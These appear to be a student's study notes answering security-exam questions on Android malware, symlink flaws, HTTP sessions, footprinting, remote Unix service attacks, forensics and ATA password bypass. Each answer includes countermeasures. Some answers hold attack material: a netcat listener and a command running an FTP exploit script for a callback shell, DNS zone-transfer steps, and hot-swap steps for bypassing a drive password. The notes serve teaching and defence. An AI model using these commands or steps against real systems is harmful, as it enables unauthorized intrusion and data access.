URL-sourced Malware (Side-load Applications): Android also allows the installation of applications through an alternative mechanism: the web browser. If the user opens a URL that is pointing to an Android application (apk files), the system downloads the file and ask the user if they want to install the app. This apk file can contain a Trojan file. Countermeasures: Unselect "Unknown Sources" in Settings -> Applications.

Skype Data Exposure: Another method to hack Androids is to attack vulnerabilities present in applications that are already installed on the device. One example of this type of attack is the discovery by Justin Case of a vulnerable Android version of the Skype application (communication tool). The vulnerability exposed private data to any application or to anyone because files that store because files that store the data did not have proper permissions and the information was not encrypted. Countermeasures: Keep applications updated.

16. **Symlink. What are symlinks and how do they work? How can an attacker exploit symlinks (provide an example)? Provide at least one countermeasure.**
Many SUID root programs are coded to create working files in /tmp or other directories without the slightest bit of sanity checking. A symbolic link is a mechanism where a file is created via the 'ln' command. A symbolic link is nothing more than a file that points to a different file. Let's reinforce the point with a specific example. In 2009, King Cope discovered a symlink vulnerability in xscreensaver 5.01 that can be used to view the contents of other files not owned by a user. Xscreensaver reads user configuration options from the file ~/.xscreensaver. If the .xscreensaver file is a symlink to another file, then that other file is parsed and output to the screen when the user runs the xscreensaver program. Because OpenSolaris installs xscreensaver with the setuid bit set, the vulnerability allows us to read any file on the file system.
Countermeasures: Secure coding practices are the best countermeasure available. Unfortunately, many programs are coded without performing sanity checks on existing files. Programmers should check to see if a file exists before trying to create one, by using the O_EXCL — O_CREAT flags. When creating temporary files, set the UMASK and then use the tmpfile() or mktemp() function.

17. **What does it mean that the HTTP protocol is stateless? What limitations come from this fact? What are HTTP sessions and what are the major techniques to implement sessions? Describe in detail the functioning of at least one of these techniques.**
HTTP is called as a stateless protocol because each command is request is executed independently, without any knowledge of the requests that were executed before it. **The main limitation** is that some dynamic

web application require the ability to mantain some kind of sessions. The solution is represented from the use of the sessions:

- Avoid log-ins in for every requested page
- Store user preferences
- Keep track of past actions of the user (e.g., shopping cart)...

How to transmit session information?

1) payload HTTP

```
<INPUT TYPE="hidden" NAME="sessionid" VALUE="7456">
```

2) URL

```
http://www.example.com/page.php?sessionid=7456
```

3) header HTTP (e.g., Cookie)

```
GET /page.php HTTP/1.1
Host: www.example.com
...
Cookie: sessionid=7456
...
```

Techniques:
Two possible mechanism to create a session schema:

- data inserted manually by the coder of the web application (obsolete and unsecure)
- implemented in the programming language of the web application

Main example: Session cookie

- most used technique
- session data stored on the server
- the server sends a session id to the client through a cookie
- for each request, the client sends back the id to the server (e.g., Cookie: PHPSESSID=da1dd139f08c50b4b1825f3b5c
- the server uses this id to retrieve information

18. **What is footprinting and which goals does achieve? Describe the attack steps that should be performed.**
Footprinting is about scoping out your target of interest, understand everything without sending a single packet to your target. Footprinting enables attackers to create a near complete profile of an organization's security posture (using a combination of tools and techniques).
Steps

Step 1. Determine the scope of your activities:The first item of business is to determine the scope of your footprinting activities. Are you going to footprint the entire organization or limit your activities to certain subsidiaries or locations?

Step 2. Get proper authorization: One thing hackers can usually disregard that you must pay particular attention to is what we techies affectionately refer to as layers 8 and 9 of the OSI model. These layers often find their way into our work one way or another, but when it comes to authorization they can be particularly tricky. Do you have authorization to proceed with your activities? For that matter, what exactly are your activities? Is the authorization from the right person? Is it writing? Ask any pen tester about the "get-out-of-jail-free card".

Step 3. Publicly available information The amount of information that is readily available about you can image is nothing short of amazing. Examples of public information:

- Company web pages
- Related organizations
- Location details
- Employee information
- Current events
- Privacy and security policies
- Archived information
- Search engines and data relationship

Step 4. WHOIS and DNS Enumeration
Domain-Related Searches The first order of business is to determine which one of the many WHOIS servers contains the information we're after. The general process flows like this: the authoritative Registry for a given TLD, ".com" in this case, contains information about which Registrar the target entity registered its domain with. Then you query the appropriate Registrar to find the Registrant details for the particular domain name you're after. We refer to these as the "Three Rs" of WHOIS: Registry, Registrar, and Registrant. As mentioned, ICANN (IANA) is the authoritative registry for all of the TLDs and is a great starting point for all manual WHOIS queries (also from command line). This registrant detail provides physical addresses, phone numbers, names, e- mail addresses, DNS server names, IPs, and so on.

IP-Related Searches The WHOIS server at ICANN (IANA) does not currently act as an authoritative registry for all the RIRs as it does for the TLDs, but each RIR does know which IP ranges it manages. This allows us simply to pick any one of them to start our search. If we pick the wrong one, it will tell us which one we need to go to.
Step 5. DNS Interrogation:
After identiying all the associated domains, you can begin to query the DNS. DNS is a distributed database used to map IP addresses to hostnames, and vice versa.

Zone transfer One of the most serious misconfigurations a system administrator can make is allowing untrusted Internet users to perform a DNS zone transfer. A zone transfer allows a secondary master server to update its zone database from the primary master. Generally, a DNS zone transfer needs to be performed only by secondary master DNS servers. Providing internal IP address information to an untrusted user over the Internet is akin to providing a complete blueprint, or roadmap, of an organization's internal network. A simple way to perform a zone transfer is to use the nslookup (interactive mode) client. In nslookup:

- set record type to any so we can pull any DNS records available for a complete list.
- ls -d domain.com. to list all the associated records for the domain (for each entry we have an "A" record that denotes the IP address of the system name located to the right). In addition each host has an HINFO record that identifies the platform or type of OS running. We can easily manipulate the results with UNIX programs such as grep,sed,awk to find out some keyword like "solaris" (solaris OS) and "test" (test domains as backdoors).

If there are multiple DNS server, you may be able to find one that will allow zone transfers. Automate the process with tools like host and dig. The -l option of host command perform a zone transfer on the domain in input. The dig command is often used to troubleshoot DNS architectures. The best tool for performing zone transfers: dnsrecon (option -x). We can use fierce 2.0 to enumerate dns entries even though zone transfer attempts fail.
Countermeasures: On the network side you could configure a firewall or packet-filter router to deny all unauthorized inbound connections to TCP port 53. Because name lookup requests are UDP and zone transfer requests are TCP. A better solution would be to implement cryptographic transaction signatures (TSIGs) to allow only trusted host to transfer zone information. Finally we discourage the use of HINFO records.
Step 6: Network Reconnaissance
To accomplish this task we can use the traceroute program. In windows it is spelled tracert. This program lets you view the route that an I follow from one host to the next. Traceroute use TTL field in the IP packet to elicit an ICMP_TIME_EXCEED message from each router. Each router that handles the packet is required to decrement the TTL field (hop counter). Traceroute helps you to discover the network

topology by the target network, in addition to identifying access control devices. There may be multiple routing paths. Moreover, each interface may have different ACL applied. In many case some interfaces pass your traceroute requests (ACL applied). Therefore, it's important to map your entire network using traceroute (access path diagram). Traceroute in UNIX use UDP packet with the option of using ICMP packet with the -I switch. The -p n option in traceroute allows us to specify a starting UDP port number (n) that will be incremented by 1 when the probe is launched. This allows us to force every packet we send to have a fixed port number, in the hopes that access control device will pass the traffic. A good starting port number is UDP port 53 (DNS Queries). Because the TTL value used in tracerouting is in the IP header, two tools that allow for TCP tracerouting to specific ports are the aptly named tcptraceroute and Cain & Abel.
Countermeasures: However, several countermeasures can be employed to thwart and identify the network reconnaissance probes discussed thus far. Many of the commercial NIDS (network IDS) and IPS detect this type of network reconnaissance. Best NIDS program to detect this activity: SNORT, Bro-IDS. Also you may be able to configure your border routers to limit ICMP and UDP traffic to specific systems (minimize the exposure).

19. **Briefly describe at least two main services in Unix system that are off remotely attacked. for each of this services, explain how the remote attack occurs and discuss the possible countermeasure.**
FTP: FTP is often abused to gain access to remote systems or to store illegal files. Many FTP servers allow anonymous access, enabling any user to log into the FTP server without authentication. Thus, attackers can begin to pull down sensitive configuration files such as /etc/passwd. FTP servers have had their fair share of security problems related to buffer overflow conditions and other insecurities. One of the most recent FTP vulnerabilities has been discovered in FreeBSD daemons courtesy of King Cope. The exploit creates a shell on a local port specified by the attacker. We first need to create a netcat listener for the exploit to call back to:

```
nc -v -l -p 443

Now we can run the exploit:
perl roaringbeast.pl 0 ftp ftp 192.168.1.25 443
```

Sendmail: Sendmail is a mail transfer agent (MTA) that is used on many UNIX systems. Sendmail is one of the most maligned programs in use (used to gain access to thousands of systems). We can use VRFY and EXPN commands to identify user accounts. Many vulnerabilities are present related to remote buffer overflow conditions and input validation attacks have been identified.
Countermeasure:The best defense for sendmail attacks is to disable sendmail if you are not using it to receive mail over a network. If you must run sendmail, ensure that you are using the latest version with all relevant security patches. Finally, consider using a more secure MTA such as qmail or postfix.

DNS Cache Poisoning: Numerous security and availability problems have been associated with BIND, the next example focuses on one of the latest cache poisoning attacks to date. Technique used by the hackers to trick clients into contacting a malicious server rather than the intended system. That is to say, all requests are resolved and redirected to a system the hacker owns. In 2008, Dan Kaminsky latest cache-poisoning attack against DNS was grabbing headlines (BIND 8, 9 and Microsoft DNS in Windows 2000, XP SP2/SP3, Server 2003 SP1/SP2). To check if the DNS has this potential vulnerability perform the following enumeration:

```
dig @192.168.56.101 version.bind chaos txt
```

Countermeasures: For any system that is not being used as a DNS server, you should disable and remove BIND. Ensure the version of BIND you are using is current and patched for related security flaws.

20. **An ongoing APT attack has compromise one of the windows server. With this assumption, how do you plain and imoplement the forecsis activities for the analysis of this host? In particular describe the order in wich the evidence should be collected and the forecsis methodology, the tools, the command lines etc. to be used to analyse suspicious host.**
Several effective technical solutions are available to assist with detecting these types of attacks. However, the easiest method is a simple administrative procedure. For example, a logon script that creates a file system index can be used for auditing changes made to the file system:

```
c:\dir/a/s/TC > \index\%computername%_%date%.txt
```

Also, a simple differential analysis of related index files helps to identify suspect files for correlation and investigation across the enterprise. Whats more, SMS rules that alert administrative logons (local and domain) to workstations and servers can help to define a pattern of activity or reveal useful information for investigating these incidents. Also firewall or IDS rules that monitor for inbound RDP/VNC/CMD.EXE or administrative and key IT accounts can also be indicators of suspicious activity. Although these techniques sound simple, they are practical approaches used by incident managers and responders that have value in a corporate security program. In addition, key detection technologies can help identify and combat these types of attacks, including the following:

- Endpoint security products, including antivirus, HIPS, and file system integrity checking.
- File system auditing products for change control and auditing.
- Network intelligence/defense products such as intrusion detection/prevention systems.
- Network monitoring products for web gateway/filtering, such as SNORT/TCPDUMP.
- Security Information/Events Management products with correlation and reporting databases.

21. **Explain what is advanced technology attachemnt security mechanism. Describe the step of the attack which is able to bypass ata security. How to defend against such a bypass?**
ATA security is a common safeguard used by companies to deter the usage of a stolen laptop. The ATA security mechanism requires that the user type a password before a hard disk can be accessed by the BIOS. This security feature does not encrypt or protect the contents of the drive, only access to the drive. As a result, it provides minimal security. Many bypass products and services exist for specific drives; however, the most common and easiest to perform is simply to hot-swap the drive into a system with ATA security disabled. **Hot-swap attack steps**

(a) Find a computer (capable of setting ATA password and an unlocked drive)

(b) Boot the computer with the unlocked drive

(c) Enter BIOS interface prepare to set a BIOS password

(d) Replace the unlocked drive with the locked drive (Carefully)

(e) Set the hard disk password using BIOS interface The drive will accept the new password

(f) Reboot BIOS prompt you to unlock the drive bypassing the old one.

(g) The password can be cleared from the system if a new password is not desired.

Countermeasure: The best defense against ATA drive password bypass is to avoid it: **do not rely on ATA security** to protect drives from tampering or to protect the contents of the drive. Many ATA drives are trivial to bypass, and password protecting them provides a false sense of security. As an alternative to ATA password security, use **full disk encryption** to protect the entire contents of the drive or sensitive partitions on the drive. Three common products that provide disk encryption are BitLocker, TrueCrypt, or SecurStar.